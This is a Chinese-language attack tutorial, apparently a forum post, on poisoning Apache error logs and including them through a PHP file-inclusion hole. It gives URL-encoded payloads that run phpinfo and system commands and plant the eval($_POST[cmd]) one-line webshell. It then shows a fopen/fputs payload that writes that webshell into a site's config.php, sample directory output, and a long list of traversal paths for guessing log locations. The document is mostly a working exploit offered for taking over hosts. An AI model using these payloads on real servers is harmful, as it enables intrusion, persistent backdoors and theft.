比如我们提交要提交这句，<?phpinfo();?> //查看php的相关信息
在这里，我们只能提交URL编码模式，因为我在测试中发现，<?的标记并不被记录，只有转换成URL编码提交才会被完整记录。
在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了的<?phpinfo();?>，我们提交
http://www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E
这样肯定会报出错找不到页面，而一出错就被记在错误日志里了
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
这样这个日志文件就被包含成了phpinfo的信息，而回显也就成了一个显示php信息的页面。
如果可以的话（能够执行系统命令，也就是safe_mode开着的时候）， 这样子也不错，
<?system("ls+-la+/home");?> //执行命令列出home下的文件列表，记得转换为URL格式哦。
/home/
total 9
-rw-r--r-- 1 www.xxx.com silver 55 Jan 20 23:01 about.php
drwxrwxrwx 4 www.xxx.com silver 4096 Jan 21 06:07 abc
-rw-r--r-- 1 www.xxx.com silver 1438 Dec 3 07:39 index.php
-rwxrwxrwx 1 www.xxx.com silver 5709 Jan 21 20:05 show.php
-rw-r--r-- 1 www.xxx.com silver 5936 Jan 18 01:37 admin.php
-rwxrwxrwx 1 www.xxx.com silver 5183 Jan 18 15:30 config.php3
-rw-rw-rw- 1 www.xxx.com silver 102229 Jan 21 23:18 info.txt
drwxr-xr-x 2 www.xxx.com silver 4096 Jan 8 16:03 backup
-rw-r--r-- 1 www.xxx.com silver 7024 Dec 4 03:07 test.php
这样就列出了home下的文件
或者直接一句话
木马<?eval($_POST[cmd]);?>，
这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样的格式。
我们提交
http://www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E
再用lanker的一句话
木马客户端一连就OK了。
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
比如还是这句一句话
木马<?eval($_POST[cmd]);?>
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话
木马服务端语句。连起来表达成php语句就是
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?> //在config.php里写入一句
木马语句
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
这样webshell就写入成功了，config.php里就写入一句
木马语句
OK.
http://www.xxx.com/forum/config.php 这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
其他的日志路径，你可以去猜，也可以参照这里。
附：收集的一些日志路径
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
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